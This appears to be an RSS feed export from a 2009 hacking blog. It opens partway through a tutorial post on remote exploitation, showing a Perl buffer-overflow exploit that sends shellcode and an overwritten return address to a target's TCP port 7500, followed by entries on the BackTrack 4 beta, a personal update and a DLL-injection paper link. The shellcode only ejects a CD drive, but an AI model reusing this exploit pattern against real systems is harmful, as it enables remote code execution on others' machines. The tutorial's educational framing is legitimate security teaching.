int $0x80 &lt;br /&gt;         "\x89\xc3".              # mov %eax,%ebx &lt;br /&gt;         "\xb0\x36".              # mov $0x36,%al &lt;br /&gt;         "\x66\xb9\x09\x53".      # mov $0x5309,%cx&lt;br /&gt;         "\xcd\x80".              # int $0x80 &lt;br /&gt;         "\x40".                  # inc %eax &lt;br /&gt;         "\xcd\x80";              # int $0x80 &lt;br /&gt;&lt;br /&gt;#our extended instruction pointer which we use to overwrite the remote eip&lt;br /&gt;$eip = "\xf8\xf2\xff\xbf";&lt;br /&gt;&lt;br /&gt;#we construct our full payload here&lt;br /&gt;$payload = $nopsled.$shellcode.$eip;&lt;br /&gt;&lt;br /&gt;#view a message if no ip address is given&lt;br /&gt;if(!$ip)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;die "Specify ip plz..\n";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#the remote port to connect to&lt;br /&gt;$port = '7500';&lt;br /&gt;&lt;br /&gt;#the connection protocol to use&lt;br /&gt;$protocol = 'tcp';&lt;br /&gt;&lt;br /&gt;#create the actual network connection&lt;br /&gt;#and print an error message if it's not possible to create a socket&lt;br /&gt;$socket = IO::Socket::INET-&gt;new(PeerAddr=&gt;$ip,&lt;br /&gt;                                PeerPort=&gt;$port,&lt;br /&gt;                                Proto=&gt;$protocol,&lt;br /&gt;                                Timeout=&gt;'1') || die "Could not create socket\n";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#send the payload to the remote computer&lt;br /&gt;print $socket $payload;&lt;br /&gt;&lt;br /&gt;#close the connection&lt;br /&gt;close($socket);&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;Let's run the perl script again:&lt;br /&gt;&lt;br /&gt;perl server_exploit.pl 192.168.1.101&lt;br /&gt;&lt;br /&gt;and yes! my cd-rom drive opened again :) what a miracle.. :PpPppP&lt;br /&gt;(kids: don't irritate your father's box by continuesly opening his cd-rom drive)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1.6]--[ Conclusion&lt;br /&gt;&lt;br /&gt;Well we have learned to construct payloads and write exploits which&lt;br /&gt;use those payloads. A good thing to do is to learn more about different&lt;br /&gt;types of overflows and their exploitation methods, also practicing&lt;br /&gt;different types of programming languages could be usefull.&lt;br /&gt;&lt;br /&gt;[1.7]--[ Contact &amp; Feedback&lt;br /&gt;&lt;br /&gt;You can contact me by,&lt;br /&gt;&lt;br /&gt;IRC: &lt;br /&gt;&lt;br /&gt;FREENODE: ##c,##linux,##php,##security,##slackware,#fluxbox,#perl,#remote-exploit,#tor&lt;br /&gt;MILW0RM: #milw0rm&lt;br /&gt;GSO: #gso-chat&lt;br /&gt;STS: #lecture,#social&lt;br /&gt;&lt;br /&gt;IM , msn : preddy @hushmail.com&lt;br /&gt;&lt;br /&gt;EMAIL, : m4ilinglists @gmail.com&lt;br /&gt;&lt;br /&gt;please notify me of any mistake's which I might have made :)&lt;br /&gt;or any other comments..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cya around guyz,&lt;br /&gt;&lt;br /&gt;Preddy&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;lol &lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-6125399508130148493?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/0e072uB2F4o" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-19T21:21:18.286-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/03/remote-exploitation-with-c-and-perl-by.html</feedburner:origLink></item><item><title>Lanzada Beta De Backtrack4 Basada En Ubuntu :D</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/GjCn7AfBMf0/lanzada-beta-de-backtrack4-basada-en.html</link><category>Herramientas</category><category>pentest</category><category>linux</category><category>livecd</category><category>Hacking</category><category>Noticias</category><category>Backtrack</category><category>wireless hacking</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Tue, 24 Feb 2009 15:53:04 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-2080886050286408334</guid><description>Aunque no es una gran noticia ni tampoco nueva ya fue lanzada la version nueva de &lt;a href="http://www.remote-exploit.org/backtrack_download.html"&gt;Backtrack4&lt;/a&gt; en su edicion beta...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_LztS6-97iyY/SYdTx6iI4EI/AAAAAAAADzs/tQJaNj_9gyg/s1600-h/06.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_LztS6-97iyY/SYdTx6iI4EI/AAAAAAAADzs/tQJaNj_9gyg/s320/06.png" alt="" id="BLOGGER_PHOTO_ID_5298295603615817794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;yo ya la descargue personalmente y el cambio de la base distro de &lt;a href="http://www.slackware.com/"&gt;Slackware&lt;/a&gt; (&lt;a href="http://www.slax.org/"&gt;slax&lt;/a&gt;) a &lt;a href="http://www.debian.org/index.es.html"&gt;Debian&lt;/a&gt;&lt;br /&gt;(&lt;a href="http://www.ubuntu-es.org/"&gt;ubuntu&lt;/a&gt;) no es muy favorecido de mi parte...&lt;br /&gt;&lt;br /&gt;por lo que puedo analizar que los desarrolladores de backtrack solo querian implementar mas al usuario "newbie" o usuario normal y la compatibilidad de hardware que carecia la revision pasada con su nuevo kernel...&lt;br /&gt;&lt;br /&gt; cuenta con repositorios de la comunidad "Ubuntu" y su gestor de paquetes synaptic aunque para los que no le gustan el gestor todavia existe "apt" en fin la orientacion es que los desarrolladores tienen miras a competir con las distribuciones mas populares...&lt;br /&gt;&lt;br /&gt;en este caso sigue siendo una distribucion de linux live orientada a la auditoria de sistemas/wireless/lan/servidores/passwords/forense para mi una buena distribucion si no la mejor para estos fines de auditorias de seguridad...&lt;br /&gt;&lt;br /&gt;muchos profesionales IT opinan que es la mejor suite de herramientas para estos fines y yo no difiero con ellos...&lt;br /&gt;&lt;br /&gt;desde la practica del "&lt;a href="http://en.wikipedia.org/wiki/White_hat"&gt;Ethical Hacking&lt;/a&gt;" (Hacking Etico) hasta practicas &lt;a href="http://en.wikipedia.org/wiki/Script_kiddie"&gt;Script Kiddies. &lt;/a&gt;&lt;br /&gt;o rituales de &lt;a href="http://es.wikipedia.org/wiki/Lamer_%28inform%C3%A1tica%29"&gt;Lammers&lt;/a&gt; en fin pueden usarlo todo tipo de personas no significa que usarla te convierte en alguno de esos terminos en esta revision buscaron hacerla un poco mas amigable para el usuario normal..&lt;br /&gt;&lt;br /&gt;aunque cabe recalcar que sigue siendo una suite y conjunto de herramientas orientadas al IT o auditorias..&lt;br /&gt;&lt;br /&gt;esta revision cuenta con algunos cambios como:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Soporte para tarjetas pico e10 y e12 (para UMPCs)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Posibilidad de arrancar  por red mediante PXE   &lt;/li&gt;&lt;li&gt;Versión limitada de la herramienta &lt;a href="http://www.saintcorporation.com/products/penetration_testing/saint_exploit.html"&gt;SAINT Exploit&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Versión libre de &lt;a href="http://www.securitybydefault.com/2008/12/la-bsqueda-de-informacin-en-un-test-de.html"&gt;Maltego&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Actualizaciones en los drivers de tarjetas wireless, necesarios para auditorías&lt;/li&gt;&lt;li&gt;Soporte RFID&lt;/li&gt;&lt;li&gt;Nuevas herramientas de seguridad.&lt;/li&gt;&lt;/ul&gt;Aunque no son muchas los cambios no son muy notables referentes a la organizacion del menu sigue siendo kde 3.5 y no la ultima version 4.0 (los rumores son que para la version final lo sera) se le agregaron solo algunas herramientas...&lt;br /&gt;&lt;br /&gt;en fin igual los desarrolladores De &lt;a href="http://www.remote-exploit.org/"&gt;Remote Exploit&lt;/a&gt; hicieron nuevamente un gran trabajo con la mejor live cd de seguridad que existe (Hacking)...&lt;br /&gt;&lt;br /&gt;y esperamos que cuando se realize el lanzamiento de la version final se aun mas prometedora,vuelvo y recalco que no favorezco mucho su cambio de slax a ubuntu pero en fin los desarrolladores de dicha live cd hacen su trabajo de manera excelente...&lt;br /&gt;&lt;br /&gt;para obtener Backtrack 4 la pueden obtener desde su sitio web :&lt;br /&gt;Version Dvd &lt;a href="http://lix.in/-38fc6f"&gt;Aqui&lt;/a&gt;.&lt;br /&gt;Version Para Vmware &lt;a href="http://lix.in/-3c09b1"&gt;Aqui&lt;/a&gt;.&lt;br /&gt;Imagen Para Adherir Al &lt;a href="http://lix.in/-409d94"&gt;Cd Label&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Traeremos actualizaciones siguientes al lanzamiento de la version final&lt;br /&gt;&lt;br /&gt;Pd: La lista de herramientas de Backtrack4 la pueden conseguir aqui &lt;a href="http://backtrack.offensive-security.com/index.php/Tools"&gt;LINK&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;salu2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-2080886050286408334?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/GjCn7AfBMf0" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-24T15:53:04.462-08:00</app:edited><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_LztS6-97iyY/SYdTx6iI4EI/AAAAAAAADzs/tQJaNj_9gyg/s72-c/06.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/02/lanzada-beta-de-backtrack4-basada-en.html</feedburner:origLink></item><item><title>Conectividad [Problema Resuelto]</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/fHQBKnPmI_U/conectividad-problema-resuelto.html</link><category>Noticias</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Tue, 24 Feb 2009 13:30:49 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-4607482224303311071</guid><description>Ya llegue al infierno aqui las temperaturas varian notablemente de 40 grados suben a la hora pico a los 100 grados :D...&lt;br /&gt;&lt;br /&gt;en fin ni que hablar de la conexion de internet aparte de que tienen censurados la mayoria de los sitios que conozco si posees tu tarjeta de internet debes hacer miles de cosas para conectarte...&lt;br /&gt;&lt;br /&gt;malditos en fin ya puedo conectarme y a poner al dia mi maldito blog ya que por si es mi unica herramienta que poseo para entretenerme o expresar lo que estoy pasando con esta nueva etapa en mi vida...&lt;br /&gt;&lt;div align="center"&gt;1st Squad,3rd Platoon,Echo Company 2-54 U.S.M.C&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-4607482224303311071?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/fHQBKnPmI_U" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-24T13:30:49.322-08:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/02/conectividad-problema-resuelto.html</feedburner:origLink></item><item><title>Inyeccion DLL En Windows Vista</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/YekKmfW8kUc/inyeccion-dll-en-windows-vista.html</link><category>dll injection</category><category>windows</category><category>Vulnerabilidades</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Tue, 27 Jan 2009 16:07:57 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-3477360388878769055</guid><description>An insight on how to inject a dynamic library (DLL) into a 32 bit process in Windows Vista with the use of Remote Threads&lt;br /&gt;and taking into consideration the Address Space Layout Randomization (ASLR). The sample code used is written in&lt;br /&gt;assembly language (MASM32) using the WinAsm IDE. It should give you a better understanding on how dynamic libraries&lt;br /&gt;can be injected.&lt;br /&gt;&lt;br /&gt;Un Analisis Mas A Fondo De Como Injectar Una Libreria Dinamica (Dll) En Windows Vista.&lt;br /&gt;&lt;br /&gt;Es Un Archivo Pdf En Ingles Y muy Explicado :D&lt;br /&gt;&lt;br /&gt;&lt;div class="downloadlink"&gt;&lt;a href="http://rapidshare.com/files/190409926/275.pdf.html"&gt;http://rapidshare.com/files/190409926/275.pdf.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-3477360388878769055?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/YekKmfW8kUc" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-27T16:07:57.202-08:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/01/inyeccion-dll-en-windows-vista.html</feedburner:origLink></item></channel></rss>

